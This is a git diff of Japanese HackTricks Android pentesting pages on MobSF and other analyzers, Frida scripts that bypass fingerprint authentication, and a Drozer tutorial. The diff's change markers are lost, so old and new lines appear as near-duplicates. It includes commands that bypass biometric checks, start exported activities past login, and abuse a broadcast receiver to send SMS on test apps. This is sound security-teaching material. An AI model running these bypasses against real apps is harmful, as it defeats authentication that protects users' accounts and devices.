{% code overflow="wrap" %}
@ -500,9 +517,11 @@ Androidでは、Keystoreは機密データを保存するのに最適な場所
アプリがKeystoreにデータを保存していたとしても、データは暗号化されるべきです。
Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **指紋/生体認証バイパス**
以下のFridaスクリプトを使用すると、Androidアプリケーションが実行している可能性がある**特定の機密領域を保護するために行う指紋認証をバイパス**することができます:
@ -522,9 +541,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
スナップショットは通常、以下の場所に保存されます:**`/data/system_ce/0/snapshots`**
Androidは、**FLAG\_SECURE** レイアウトパラメータを設定することで、スクリーンショットのキャプチャを防ぐ方法を提供しています。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されることが防止されます。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Androidアプリケーションアナライザー**
このツールは、動的解析中にさまざまなツールを管理するのに役立ちます:[https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
@ -548,7 +569,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
* **SQLインジェクション:** 動的クエリやコンテンツプロバイダーを扱う場合は、パラメータ化されたクエリを使用していることを確認してください。
* **JavaScriptインジェクションXSS:** すべてのWebViewでJavaScriptとプラグインサポートが無効になっていることを確認してくださいデフォルトで無効。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **ローカルファイルインクルージョン:** WebViewはファイルシステムへのアクセスが無効になっている必要がありますデフォルトで有効- `(webview.getSettings().setAllowFileAccess(false);)。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **ローカルファイルインクルージョン:** WebViewはファイルシステムへのアクセスが無効になっている必要がありますデフォルトで有効- \`(webview.getSettings().setAllowFileAccess(false);)。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **永続クッキー**: Androidアプリケーションがセッションを終了する場合、クッキーが取り消されないことがいくつかのケースであり、ディスクに保存される可能性があります
* [**クッキーのSecureフラグ**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
@ -567,7 +588,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
\*\*[Discord](https://discord.com/invite/N3FrSbmwdy)\*\*に参加して、今日からトップハッカーと協力を始めましょう!
## 自動解析
@ -578,14 +599,16 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../.gitbook/assets/image (61).png>)
アプリケーションの脆弱性評価を行うための素敵なWebベースのフロントエンドを使用します。動的解析も実行できますただし、環境を準備する必要があります
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
MobSFは**Android**(apk)**、IOS**(ipa)**、およびWindows**(apx)アプリケーションを分析できます_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_。\
また、**Android**または**IOS**アプリのソースコードをZIPファイルに作成するとアプリケーションのルートフォルダに移動し、すべてを選択してZIPファイルを作成する、それも分析できます。
MobSFは**diff/比較**分析と**VirusTotal**の統合も可能です_MobSF/settings.py_にAPIキーを設定し、有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。また、`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
MobSFは**diff/比較**分析と**VirusTotal**の統合も可能です(\_MobSF/settings.py\_にAPIキーを設定し、有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。また、`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
### MobSFによるアシストされたダイナミック分析
@ -622,6 +645,7 @@ MobSFはまた、独自の**Fridaスクリプト**を読み込むことができ
**Shell**
Mobsfには、ダイナミック分析ページの一番下にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェルコマンド**を備えたシェルが用意されています。いくつかの興味深いコマンド:
```bash
help
shell ls
@ -630,6 +654,7 @@ exported_activities
services
receivers
```
**HTTPツール**
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの見栄えが悪いビューで表示されるか、"**Start HTTPTools**"の緑のボタンで見栄えの良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**をBurpやOwasp ZAPなどの**プロキシ**に**送信**することができます。\
@ -639,6 +664,7 @@ MobSFで動的解析を終えたら、"**Start Web API Fuzzer**"を押して、*
{% hint style="info" %}
MobSFで動的解析を実行した後、プロキシ設定が誤って構成され、GUIから修正できない場合があります。プロキシ設定を修正するには、次の手順を実行します:
```
adb shell settings put global http_proxy :0
```
@ -657,13 +683,15 @@ adb shell settings put global http_proxy :0
### [Qark](https://github.com/linkedin/qark)
このツールは、**ソースコード**または**パッケージ化されたAPK**内のいくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールはまた、いくつかの見つかった脆弱性を悪用するための**"Proof-of-Concept"展開可能なAPK**および**ADBコマンド**を作成することができます公開されたアクティビティ、インテント、タップジャッキングなど。Drozerと同様に、テストデバイスをルート化する必要はありません。
このツールは、**ソースコード**または**パッケージ化されたAPK**内のいくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールはまた、いくつかの見つかった脆弱性を悪用するための\*\*"Proof-of-Concept"展開可能なAPK**および**ADBコマンド\*\*を作成することができます公開されたアクティビティ、インテント、タップジャッキングなど。Drozerと同様に、テストデバイスをルート化する必要はありません。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
qark --java path/to/parent/java/folder
qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
* 簡単な参照のためにすべての抽出されたファイルを表示します
@ -672,9 +700,11 @@ qark --java path/to/specific/java/file.java
* 一般的な脆弱性と動作のための静的ソースコード分析
* デバイス情報
* その他
```bash
reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、.apkファイルを解析して脆弱性を検出します。これは、APKを展開し、一連のルールを適用してこれらの脆弱性を検出します。
@ -682,9 +712,11 @@ SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインア
すべてのルールは`rules.json`ファイルに集約されており、各企業やテスターは必要なものを分析するために独自のルールを作成できます。
最新のバイナリを[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。
```
super-analyzer {apk_file}
```
### [StaCoAn](https://github.com/vincentcox/StaCoAn)
![](<../../.gitbook/assets/image (62).png>)
@ -694,17 +726,21 @@ StaCoAnは、モバイルアプリケーションの[静的コード解析](http
このコンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイルをStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されます。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。
[最新リリースをダウンロード](https://github.com/vincentcox/StaCoAn/releases)
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
AndroBugs Frameworkは、Androidアプリケーション内の潜在的なセキュリティ脆弱性を見つけるのを手助けするAndroid脆弱性分析システムです。\
[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
```
python androbugs.py -f [APK file]
androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある振る舞いを検出し、ユーザーに警告することを主な目的とするツールです。
@ -712,9 +748,11 @@ androbugs.exe -f [APK file]
検出は、アプリケーションのDalvikバイトコード**Smali**として表現される)の**静的解析**によって行われ、[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
このツールは、**"悪い"アプリケーションの一般的な振る舞い**を検索します。例えば、電話識別子の流出、オーディオ/ビデオフローの傍受、PIMデータの変更、任意のコード実行などです。
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework)
![](<../../.gitbook/assets/image (81).png>)
@ -807,18 +845,12 @@ AndroL4bは、リバースエンジニアリングとマルウェア分析のた
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう!
[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加**して、今日からトップハッカーと協力を始めましょう!
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksをPDFでダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)を収集できる、[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしましょう
* ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出することで貢献しましょう
**HackTricksをサポートする他の方法HackTricksをPDFでダウンロードしたり、HackTricksで企業を宣伝したい場合は、**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!**[**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)**を手に入れましょう独占的な**[**NFTs**](https://opensea.io/collection/the-peass-family)**を収集できる、**[**The PEASS Family**](https://opensea.io/collection/the-peass-family)**を発見しましょう💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしましょうハッキングのトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)**と**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出することで貢献しましょう**
</details>

View file

@ -1,4 +1,4 @@
# バイオメトリック認証のバイパスAndroid
# Bypass Biometric Authentication (Android)
<details>
@ -7,14 +7,15 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)****[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください**。
</details>
## **方法1 暗号オブジェクトの使用なしでのバイパス**
ここでは、認証プロセスで重要な*onAuthenticationSucceeded*コールバックに焦点を当てます。WithSecureの研究者たちは、*onAuthenticationSucceeded(...)*でのNULL *CryptoObject*のバイパスを可能にする[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)を開発しました。このスクリプトは、メソッドの呼び出し時に指紋認証を自動的にバイパスします。以下は、Androidの指紋コンテキストでバイパスを示す簡略化されたスニペットであり、完全なアプリケーションは[GitHub](https://github.com/St3v3nsS/InsecureBanking)で入手できます。
ここでは、認証プロセスで重要な_onAuthenticationSucceeded_コールバックに焦点を当てます。WithSecureの研究者たちは、\*onAuthenticationSucceeded(...)\*でのNULL _CryptoObject_のバイパスを可能にする[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)を開発しました。このスクリプトは、メソッドの呼び出し時に指紋認証を自動的にバイパスします。以下は、Androidの指紋コンテキストでバイパスを示す簡略化されたスニペットであり、完全なアプリケーションは[GitHub](https://github.com/St3v3nsS/InsecureBanking)で入手できます。
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -23,21 +24,27 @@ Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
}
});
```
```bash
frida -U -f <package_name> -l <script_name.js> --no-pause
```
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
```
## **方法2 例外処理アプローチ**
別の[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)は、セキュリティの脆弱な暗号オブジェクトの使用をバイパスする方法について述べています。このスクリプトは、指紋によって認証されていない*CryptoObject*を使用して*onAuthenticationSucceeded*を呼び出します。アプリケーションが異なる暗号オブジェクトを使用しようとすると、例外が発生します。このスクリプトは、*onAuthenticationSucceeded*を呼び出す準備をし、_Cipher_クラスで*javax.crypto.IllegalBlockSizeException*を処理し、アプリケーションによって使用される後続のオブジェクトが新しいキーで暗号化されるようにします。
別の[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)は、セキュリティの脆弱な暗号オブジェクトの使用をバイパスする方法について述べています。このスクリプトは、指紋によって認証されていない_CryptoObject_を使用して_onAuthenticationSucceeded_を呼び出します。アプリケーションが異なる暗号オブジェクトを使用しようとすると、例外が発生します。このスクリプトは、_onAuthenticationSucceeded_を呼び出す準備をし、\_Cipher\_クラスで_javax.crypto.IllegalBlockSizeException_を処理し、アプリケーションによって使用される後続のオブジェクトが新しいキーで暗号化されるようにします。
Fridaスクリプトを実行するコマンド
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
```
以下は、Fridaコンソールで`bypass()`を入力してバイパスをアクティブ化するために、指紋認証画面に到達し`authenticate()`を開始した後の手順です:
```
Spawning com.generic.insecurebankingfingerprint...
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()...
@ -45,6 +52,7 @@ Hooking BiometricPrompt.authenticate2()...
Hooking FingerprintManager.authenticate()...
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> bypass()
```
## **方法3 Instrumentation Frameworks**
Instrumentation frameworks like Xposed or Frida can be used to hook into application methods at runtime. For fingerprint authentication, these frameworks can:
@ -53,9 +61,11 @@ Instrumentation frameworks like Xposed or Frida can be used to hook into applica
2. **Bypass SSL Pinning**: This allows an attacker to intercept and modify the traffic between the client and the server, potentially altering the authentication process or stealing sensitive data.
Example command for Frida:
```bash
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
```
## **方法4 逆コンパイルとコードの変更**
`APKTool`、`dex2jar`、`JD-GUI`などの逆コンパイルツールを使用して、Androidアプリケーションを逆コンパイルし、ソースコードを読み取り、認証メカニズムを理解することができます。一般的な手順は次のとおりです
@ -72,4 +82,5 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
2. **カスタムスクリプト**: スクリプトを作成して、Android Debug BridgeADBやアプリケーションのバックエンドと直接やり取りし、指紋認証をシミュレートしたりバイパスしたりすることができます。
## 参考文献
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)

View file

@ -1,4 +1,4 @@
# Drozerチュートリアル
# Drozer Tutorial
<details>
@ -6,78 +6,89 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
</details>
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大\*\*$100,000\*\*のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
## テストするAPK
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk)mrwlabs提供
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk)mrwlabs提供
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**このチュートリアルの一部は、[Drozerドキュメントpdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)から抽出されました。**
**このチュートリアルの一部は、**[**Drozerドキュメントpdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**から抽出されました。**
## インストール
ホスト内にDrozerクライアントをインストールします。[最新リリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
ダウンロードしてdrozer APKをインストールします。[最新リリース](https://github.com/mwrlabs/drozer/releases)から。現時点では[こちら](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)です。
```bash
adb install drozer.apk
```
### サーバーの起動
エージェントはポート31415で実行されています。Drozerクライアントとエージェントの間の通信を確立するために、[ポート転送](https://en.wikipedia.org/wiki/Port\_forwarding)が必要です。以下はそのためのコマンドです:
```bash
adb forward tcp:31415 tcp:31415
```
最後に、**アプリケーション**を**起動**し、下部の "**ON**" ボタンを押します。
![](<../../../.gitbook/assets/image (63).png>)
そして、それに接続します:
```bash
drozer console connect
```
## 興味深いコマンド
| **コマンド** | **説明** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | 選択したモジュールのヘルプを表示します |
| **コマンド** | **説明** |
| --------------- | ------------------------------------------------------------------- |
| **Help MODULE** | 選択したモジュールのヘルプを表示します |
| **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限を持っていないモジュールは非表示になります。 |
| **shell** | デバイス上で、エージェントのコンテキストでインタラクティブなLinuxシェルを開始します。 |
| **clean** | Androidデバイス上にdrozerによって保存された一時ファイルを削除します。 |
| **load** | drozerコマンドを含むファイルを読み込んで、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 |
| **set** | drozerによって生成されたLinuxシェルに渡される環境変数として値を格納します。 |
| **shell** | デバイス上で、エージェントのコンテキストでインタラクティブなLinuxシェルを開始します。 |
| **run MODULE** | drozerモジュールを実行します |
| **exploit** | Drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` |
| **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` |
| **shell** | デバイス上で、エージェントのコンテキストでインタラクティブなLinuxシェルを開始します。 |
| **clean** | Androidデバイス上にdrozerによって保存された一時ファイルを削除します。 |
| **load** | drozerコマンドを含むファイルを読み込んで、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 |
| **set** | drozerによって生成されたLinuxシェルに渡される環境変数として値を格納します。 |
| **shell** | デバイス上で、エージェントのコンテキストでインタラクティブなLinuxシェルを開始します。 |
| **run MODULE** | drozerモジュールを実行します |
| **exploit** | Drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` |
| **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` |
### パッケージ
パッケージの**名前**を部分一致でフィルタリングして検索します:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**パッケージの基本情報**:
```bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -97,11 +108,15 @@ Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
**マニフェスト**を読む:
```bash
run app.package.manifest jakhar.aseem.diva
```
**パッケージの攻撃面:**
```bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
@ -111,6 +126,7 @@ Attack Surface:
2 services exported
is debuggable
```
* **Activities**: おそらく、アクティビティを開始し、起動を防ぐべき認証をバイパスすることができるかもしれません。
* **Content providers**: プライベートデータにアクセスしたり、いくつかの脆弱性SQLインジェクションまたはパストラバーサルを悪用したりすることができるかもしれません。
* **Services**:
@ -118,12 +134,15 @@ is debuggable
### Activities
AndroidManifest.xmlファイルでエクスポートされたアクティビティコンポーネントの「android:exported」の値が**「true」**に設定されています:
AndroidManifest.xmlファイルでエクスポートされたアクティビティコンポーネントの「android:exported」の値が\*\*「true」\*\*に設定されています:
```markup
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
**エクスポートされたアクティビティのリスト**
```bash
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -131,38 +150,42 @@ com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**アクティビティの開始**:
おそらく、アクティビティを開始し、起動を防ぐはずの認証をバイパスすることができます。
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
{% endcode %}
**adb**からエクスポートされたアクティビティを開始することもできます:
- パッケージ名はcom.example.demoです
- エクスポートされたアクティビティ名はcom.example.test.MainActivity
* パッケージ名はcom.example.demoです
* エクスポートされたアクティビティ名はcom.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### コンテンツ プロバイダ
この投稿は大きすぎてここにあるので、**[ここで独自のページでアクセスできます](exploiting-content-providers.md)**
この投稿は大きすぎてここにあるので、[**ここで独自のページでアクセスできます**](exploiting-content-providers.md)。
### サービス
エクスポートされたサービスはManifest.xml内で宣言されます
```markup
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
{% endcode %}
コード内で **check** して、**message** を **receive** する \*\*`handleMessage`\*\* 関数を探します:
![](<../../../.gitbook/assets/image (194).png>)
#### サービスのリスト
```bash
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -171,12 +194,15 @@ Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
```
#### **サービスとのやり取り**
```bash
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
```
#### 例
`app.service.send`の**drozer**ヘルプを参照してください:
@ -184,7 +210,7 @@ app.service.stop Stop Service
![](<../../../.gitbook/assets/image (196) (1).png>)
"_msg.what_"内のデータを最初に送信し、次に"_msg.arg1_"と"_msg.arg2_"を送信します。コード内で**どの情報が使用されているか**とその場所を確認する必要があります。\
`--extra`オプションを使用すると、"_msg.replyTo"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細でオブジェクトを作成できます。
`--extra`オプションを使用すると、"\_msg.replyTo"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細でオブジェクトを作成できます。
次の例では:
@ -192,22 +218,27 @@ app.service.stop Stop Service
* `arg1 == 9234`
* `arg2 == 1`
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
```bash
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
```
![](<../../../.gitbook/assets/image (195).png>)
### ブロードキャストレシーバー
**Androidの基本情報セクションでは、ブロードキャストレシーバーとは何かを確認できます**。
これらのブロードキャストレシーバーを発見した後は、**それらのコードを確認**する必要があります。受信されたメッセージを処理する**`onReceive`**関数に特に注意してください。
これらのブロードキャストレシーバーを発見した後は、**それらのコードを確認**する必要があります。受信されたメッセージを処理する\*\*`onReceive`\*\*関数に特に注意してください。
#### **すべての**ブロードキャストレシーバーを検出
```bash
run app.broadcast.info #Detects all
```
#### アプリのブロードキャストレシーバーをチェックします
```bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
@ -228,12 +259,15 @@ Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### ブロードキャスト **インタラクション**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### メッセージを送信する
この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk)のContent Providerを悪用して、ユーザーに許可を求めることなく、**任意のSMS**をプレミアムでない宛先に**送信**することができます。
@ -243,26 +277,32 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
![](<../../../.gitbook/assets/image (197) (1).png>)
コードを読むと、パラメータ "_phoneNumber_" と "_message_" がContent Providerに送信される必要があることがわかります。
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### デバッグ可能かどうか
本番用のAPKは決してデバッグ可能であってはなりません。\
これは、実行中のアプリケーションに**Javaデバッガーをアタッチ**し、実行時にそれを検査し、ブレークポイントを設定し、ステップごとに進んで変数の値を収集し、それらを変更することができることを意味します。[InfoSec instituteには優れた記事](../exploiting-a-debuggeable-application.md)があり、アプリケーションがデバッグ可能であり、ランタイムコードをインジェクトする際にさらに深く掘り下げる方法について説明しています。
これは、実行中のアプリケーションに**Javaデバッガーをアタッチ**し、実行時にそれを検査し、ブレークポイントを設定し、ステップごとに進んで変数の値を収集し、それらを変更することができることを意味します。[InfoSec instituteには優れた記事](https://github.com/carlospolop/hacktricks/blob/jp/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-application.md)があり、アプリケーションがデバッグ可能であり、ランタイムコードをインジェクトする際にさらに深く掘り下げる方法について説明しています。
アプリケーションがデバッグ可能である場合、マニフェストに表示されます:
```xml
<application theme="@2131296387" debuggable="true"
```
**Drozer**を使用して、すべてのデバッグ可能なアプリケーションを見つけることができます:
```bash
run app.package.debuggable
```
## チュートリアル
* [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
